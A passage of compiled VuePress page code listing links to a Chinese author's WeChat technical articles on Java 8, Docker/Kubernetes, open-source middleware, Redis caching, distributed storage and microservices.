"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489275&idx=1&sn=a5414c2e3224e262d40032646032414a&chksm=cf55a1faf82228ec6a73d6b7ea7b0dc14c839690353c305d1df2533d45bd48d1a98140544e21&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河带你看尽Java8新特性,你想要的都在这儿了!!(文本有福利)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489333&idx=1&sn=b96556e9c99d458c2936d4f0ca10ea5f&chksm=cf55a034f8222922fc23579a19c770390461a310252a673e86b6bfa54b49fa2a2dfc5714894b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一张图带你领略Java8有哪些新特性"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489332&idx=1&sn=4d7e1e65fd44b3b8fc97df17bad58866&chksm=cf55a035f82229230d35c50b3c945bc57efd684baf318ea05ba57fb3e97ef00e968cca4d1907&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Java8为什么要引入Lambda表达式?原来如此!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489331&idx=1&sn=4fbe2a287599ef613501008109fe0aa5&chksm=cf55a032f82229249e2db0c66018097653f108cdae1827d07df43cab408fdd6482e692c66902&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Lambda表达式基础语法,都在这儿了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489330&idx=1&sn=0738e60a13660080228da9f1be674f99&chksm=cf55a033f8222925de52335eec3767b226295541b13b530df36eb1d86fc99253798bff274913&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Lambda表达式典型案例,你想要的的都在这儿了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489329&idx=1&sn=73d3cd645fdecc68793efd9e11c89590&chksm=cf55a030f8222926acd31580950b8b41bca3e33319d96628cbb1571190ad619052e0e7b51a24&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("还没搞懂函数式接口?赶快过来看看吧!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489328&idx=1&sn=f93ff6cfeb1bc444707f5b8bb0b07640&chksm=cf55a031f82229278e77d1158f203ec942197f2de70b523a76472aa89d70b67aabd373223e71&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("知识点总结,你都会了吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489323&idx=1&sn=c95d1b281b1debf30718bb9b39d95c65&chksm=cf55a02af822293cdbbb03d837b7532048fa2e597814f23125633e23b483babb318fe7b42a24&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈方法引用和构造器引用"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489322&idx=1&sn=df97fb8de194ee92c509bb84777a5346&chksm=cf55a02bf822293d18a8d5fc50561ea5219a0d7099b999571aba800f9f2e962c2f8d4cc66df1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于Java8的Stream API,看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489319&idx=1&sn=a4300069c6d880ee8963baf3ed26e2ca&chksm=cf55a026f822293087d6c6236052249520c936fd5d8fde3bbb5adc4c8ccc4334949179759361&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Java8中创建Stream流的方式"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489317&idx=1&sn=462155310db1d09d9425208062c67643&chksm=cf55a024f8222932c921670c44fde7254620897bfd66d6d278d6d6881382988b732bc361ab64&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Stream API有哪些中间操作?看完你也可以吊打面试官!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489316&idx=1&sn=265401ed9f736f0cdf5ce9cf75e620a8&chksm=cf55a025f82229330323603ffa1f365bc728ffe0759e428d7300fc43faee0b96788d5a15e117&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("谈谈Java8中的Stream API有哪些终止操作?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489315&idx=1&sn=2446ebe443df89a2f2ad10cab0901921&chksm=cf55a022f822293483c56d896646e79125b27bbce12f5ff7f58844a6a3d102e19deea63d9d17&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于并行流与串行流,你必须掌握这些!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489314&idx=1&sn=b6140423cacae11819863d3f9cd0e2d3&chksm=cf55a023f8222935cdf66cee0bf0f23a3b4ccf2e360997133c7f07f8c5e28788413807646b24&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不了解Optional类,简历上别说你懂Java8!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489313&idx=1&sn=87d9e82c51261aa3e46b96c803b95661&chksm=cf55a020f8222936400802323f9eb18b9ed0c41dffb1ccb3e37afda2b97351d4a421eb369cd2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("接口中的默认方法和静态方法,你都掌握了吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489312&idx=1&sn=5c708966e3184c0b615b8ca8346297eb&chksm=cf55a021f8222937b3cc63332902bbcc8bb34057c757b4e02a6ef9fdcc1a336fc3af858c8657&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于Java8中的日期时间API,你需要掌握这些!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489311&idx=1&sn=d1b4d99b5d51879b7b1131d97f8474d1&chksm=cf55a01ef82229086a1913c10af0c1bfff2b18ab54931da92d87845161372febfb16cbf7c352&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不只是Java8的注解,你想要的都在这儿了!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"云原生专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#云原生专题"}},[e._v("#")]),e._v(" 云原生专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493038&idx=1&sn=c69480fdb44a638109fb59c78e9499db&chksm=cf5652aff821dbb9bbd332ba95d44fdbada2d766b1ce5b0b58a0fae556ceeaa7007028f5be9d&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("五一假期服务器“裂开”了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492988&idx=1&sn=c6576dda9fc329b374093b18215cdbd9&chksm=cf56527df821db6bd9a4042f32c81380d8d465edd5feffcdb2b3fc4a63ac40d1ab389f013daa&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这次不鸽了,五一假期冰河为你整理了这些Dockerfile基础知识,拿走不谢!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489107&idx=1&sn=60dbfea150102e88e1a0b465cbb0b448&chksm=cf55a152f8222844caaa1678f96576772ed51387d54345cfb29210333f1b6885ee48e8f28b09&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("三万字无坑搭建基于Docker+K8S+GitLab/SVN+Jenkins+Harbor持续集成交付环境!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489106&idx=1&sn=2b638241ab73714491707b09db69d3e1&chksm=cf55a153f82228453d9b0f472be5aadc47ea92ea0680961c6a8810b83ce4dc0eb657b8e49f98&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河教你一次性成功安装K8S集群(基于一主两从模式)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489103&idx=1&sn=756794976822639ff27e5591c8625177&chksm=cf55a14ef822285826891b5d86ec49ceb24511f8fd238d16e0a31df787f0a971126100391223&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,运行Docker容器时磁盘空间满了怎么办?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"开源框架与中间件系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#开源框架与中间件系列"}},[e._v("#")]),e._v(" 开源框架与中间件系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496134&idx=1&sn=b1eff30e4b0547586251d588c34245b2&chksm=cf5646c7f821cfd1a3723cc2a40f038b1719c676ba855cc588c4ccf0e59c0d1c90f400078e8c&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("周末撸了个Excel框架,现已开源,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499550&idx=1&sn=cf4dd9a8d5901cdf01a213994474ce1c&chksm=cf56481ff821c109a3e48b92ab5b258a4b5867e939c0a800167f027e51c38ebc11ce01eb0df9&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("10分钟手撸极简版ORM框架!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495476&idx=1&sn=a5ed410dd3c13691000d3e11086eb370&chksm=cf565835f821d123c7172408ec88dc0b66354c163419c87300fa304b5be9cec111c100d6c4df&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("报告:冰河写了个开源框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490146&idx=1&sn=b01d1bc7281b5bfdb93bddca2e01553e&chksm=cf55ad63f8222475086b63080ea945805da036102bb199bd9ef4bdff4facaf7fc7041d337015&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("万字长文教你消息中间件到底该如何选型?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490278&idx=1&sn=1681ff3ce2d7ccc133d5a4436fb21359&chksm=cf55ade7f82224f145462689ed0b0e7d0e86e162c1707a954b30fcb293f997d60568f2466534&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("两行代码修复了解析MySQL8.x binlog错位的问题!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495719&idx=1&sn=077cc245c11605523210cc57057d356c&chksm=cf564726f821ce30b5aa4b9b6a1aa92c1f1ea9b2c46fef84bf59e2cce9065bcaece568c7a10d&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("撸完Spring源码,我开源了这个分布式缓存框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491249&idx=1&sn=f1e24d969b3c1b3f312241c423908184&chksm=cf55a9b0f82220a61f664b21b8c3709821e13db7e9a2bf32a45f7db72005b829e41c44ef8601&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("万字长文解密数据异构最佳实践(含完整代码实现)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489246&idx=1&sn=ae8ad62bed2f01065696481d183a7cac&chksm=cf55a1dff82228c9311046f61adad90346556bbbd68fced784ec163090a04809048ec7426d9a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("互联网背景下有哪些数据同步需求和解决方案?看完我知道了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489240&idx=1&sn=f3f13ab7366494ece7961f1a0aa7a8dd&chksm=cf55a1d9f82228cf831cfbc2d7df4be5188a0a36ee3a4fa6a4bc1a893fd4e86bd43b961f66b2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("数据同步的终极解决方案,阿里巴巴开源的Canal框架当之无愧!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489197&idx=1&sn=b53d0ca82519b368b55e0f36271fb75a&chksm=cf55a1acf82228bacf15f1b40da7ce3212ebbd394befe822c26bba19ff3ab68d07f5945ae3e5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:看过sharding-jdbc的源码吗?我吧啦吧啦说了一通!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489165&idx=1&sn=25ee699c884bda3c33ba1b4f414db31b&chksm=cf55a18cf822289a0a3b5d1747c1fd99529c4edd3f82b32f39e47afa48e027250f507949991a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我把这个贼好用的Excel导出工具开源了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489113&idx=1&sn=64767b64063c4229b64ab53769e9ab6b&chksm=cf55a158f822284ea53f931766dfa1a8a77aea95faaeef83bb3f71bb13df84ea776f6f630b1f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("贼好用,冰河开源了这款精准定时任务和延时队列框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489099&idx=1&sn=6f5c110d4d6a4dc70abfb69f6a281dd2&chksm=cf55a14af822285cd13dd9d5c711e10c24e3e85c96eab05c0c04ce83207fac52446eee3d2004&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河开源了全网首个完全开源的分布式全局有序序列号(分布式ID)框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489571&idx=1&sn=addba2666568ade7f260852f4da7463b&chksm=cf55af22f8222634df9518c397a6fdf0af6bd4a80c84c58e220792d4bee5a1c07f53e2ec833f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("贼好用,冰河再次升级了这款开源的精准定时任务和延时队列框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489469&idx=1&sn=bd879a614feb31ba6bccabcce54d39c1&chksm=cf55a0bcf82229aa674dc87cc377642f931a1a80bda469ee800a7a8386d6eac2cafbfcd224dd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("基于java开发的功能强大、配置灵活的数据库之间的同步工具"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489465&idx=1&sn=2a9d4a180d4fde60de167843f2544469&chksm=cf55a0b8f82229ae1b8931479ce3179c9d61906ce9f1d48de32e51284426877d67dd0f1547da&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("RocketMQ之——单机环境搭建"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489459&idx=1&sn=96fefb1d895d7543e4eb59a3c79c983c&chksm=cf55a0b2f82229a424ff630d2c01bc8b73e6932d5f77e194d690d266e0733549721305d1627c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何实现分布式锁吗?这边看:分布式锁服务插件——mykit-lock开源啦!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489441&idx=1&sn=89c76952ab4f20eb45eeebf893bb3da1&chksm=cf55a0a0f82229b6a02b98e04641f664c899d0cc7709fd8a1ab07e1f9135f3758a3b0b85c5f5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("mykit-excel插件是我用过的最好用的Excel导出工具,没有之一!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"分布式缓存系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式缓存系列"}},[e._v("#")]),e._v(" 分布式缓存系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495996&idx=1&sn=27aa388ed9f841149746e8a2aa8546e5&chksm=cf56463df821cf2bf356191ec8c37085adc5852e2ca056fbd9da729873b3cbafca1169ae677b&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("缓存最关心哪些指标?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493921&idx=1&sn=f1182dab854b9510298a352ed4be1b3e&chksm=cf565e20f821d736248b076d8708ef7ade53056b954ba164abfac8a4cdd617b12629bd5b8a14&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("超强Redis数据类型与应用场景总结!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491950&idx=1&sn=91f2fb8e87967c780b91772fb8f39df9&chksm=cf56566ff821df793e162510f97580e970eb84c1a39426febd920246edbdf721b5f35ab339c4&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("到底是先更新数据库还是先更新缓存?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489227&idx=1&sn=ed93bc18fdc643410a36f67111cede82&chksm=cf55a1caf82228dca00cc705f4adf779a71c707742a77d998a85f8fca278a810e4402fdaad98&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Redis开篇与如何安装单机版Redis,这次我会了!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"分布式存储"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式存储"}},[e._v("#")]),e._v(" 分布式存储")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490090&idx=1&sn=6cfda5e97794e947bb42709b7197e0d3&chksm=cf55ad2bf822243d2a270752ba6b9ace01b24b8aa2b9f79de505e082b97d9a04691ce7e59936&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("4.5万字手把手教你实现MySQL TB级数据存储!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490170&idx=1&sn=6d8ae64d9f76754a2dccc12af8c57d2f&chksm=cf55ad7bf822246dd89ed1804b1ea319c0544297b301eabcb34807aea554d6c8422bd45121a2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次缓存服务器迁移史,心塞!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490300&idx=1&sn=ebd4555a8cf6f55369946a0e9a4a858a&chksm=cf55adfdf82224eb448c600284351ef24ad6d572a03099d93828c57847f63f36a987b0ee7c94&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何扩容单台服务器的存储容量?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490878&idx=1&sn=89a0264f21d46cf36cf090c5f9612ba0&chksm=cf55aa3ff8222329ec181402b6942649b87511b972467fa6892dc61e63b0d9881625f252957c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("新年上班第一天生产环境分布式文件系统崩了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489177&idx=1&sn=366f288aaadffbe4a78597ede8641390&chksm=cf55a198f822288ea86e122b5538762fe2aeeed909a1d6657522aa4d3f1851a172d44854c16e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河又一超硬核分布式存储PDF教程免费开源!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489280&idx=1&sn=2a0994167d73b70e7373735c5faa11a4&chksm=cf55a001f8222917ad5a0c914c9438ebd9e452ed95d7c059028d74adcfaf8259208b007cc206&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("FastDFS 分布式文件系统的安装与使用,看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489279&idx=1&sn=57261571f8f5550572988a36520efb16&chksm=cf55a1fef82228e89144a7054c6fe70a9806ba0c890b532d91b2de14756461c747849a02e139&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何打造一款高可用的分布式文件系统?这次我明白了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489276&idx=1&sn=1ad82d9e39ef4e6634c7254ca17b548d&chksm=cf55a1fdf82228eb434d76ce360a9e2bdfda649c6d63037beaf51572cdca969eee9b8610bb84&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("FastDFS 分布式文件系统的安装与使用,看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489180&idx=1&sn=17e2788c3bb37d3ea1244851ce62b8d4&chksm=cf55a19df822288b651d52ec464007da82c46bbba378b2d1031569a4bf269cdd52938fc2ade6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴们说在CentOS 8服务器上搭建FastDFS环境总报错?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489179&idx=1&sn=3d090d957d98724dc5ec90ee71264b63&chksm=cf55a19af822288c20a82c1e27e11a20b9a4899af3cb33ea061ef7cbacdabb999f29e6164a72&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现文件的大规模分布式存储?(全程实战)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489178&idx=1&sn=8a2571ec2145a9eae34bb8122d848f70&chksm=cf55a19bf822288d517fe3114e0c9cd96db96111e23ad6d7aa9b653d7f2387db99cffc448bfd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("SpringBoot整合FastDFS实战(附完整工程源码)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489104&idx=1&sn=c5af9ad42cd34aa2c5b47e773034df00&chksm=cf55a151f8222847123f4f598071a152ddfc0a88b7b888650c13833f212ec239aa063ca3717c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("都是Nginx前缀惹的祸,FastDFS不能访问了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489682&idx=1&sn=1ce0d3631bc1054d53767bc3c47321c9&chksm=cf55af93f8222685205e2d2be2a696cd3be7e8102f0edfb52d8276aa91a1e3818c779eb934c8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("互联网大厂有哪些分库分表的思路和技巧?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"微服务专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#微服务专题"}},[e._v("#")]),e._v(" 微服务专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495884&idx=1&sn=fddfccd536fd2ed61aa013e9cde8b34e&chksm=cf5647cdf821cedba7ce6e8dd93d429e20f80647f2eed4d45fafb5fe8f9d1c7576211c3d91cc&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河公开了这份微服务学习笔记!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493667&idx=1&sn=2e0d21381a3f34d312c8a605e9144f4e&chksm=cf565f22f821d634243681ce40d19d396452b0156ebfe99c812c2d363d885511e3e9343d4e7f&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("系统由单体架构到微服务架构到底是如何演进的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491991&idx=1&sn=d4447165cfb7be4237d3cf439075a36e&chksm=cf565696f821df80c766f6f5af0803d492c24527f0bffd6a4028cac4a150e216e79b19ffe1e7&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一个很多人不知道的SpringBoot小技能!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490745&idx=1&sn=fb3cc2c3e94eec9e4dd4d5d3a33d8ffb&chksm=cf55abb8f82222aec0d694cb3e1a4f503d072e55a2cd6f35e2de1dee56c17f6cc92876cfe6e5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener 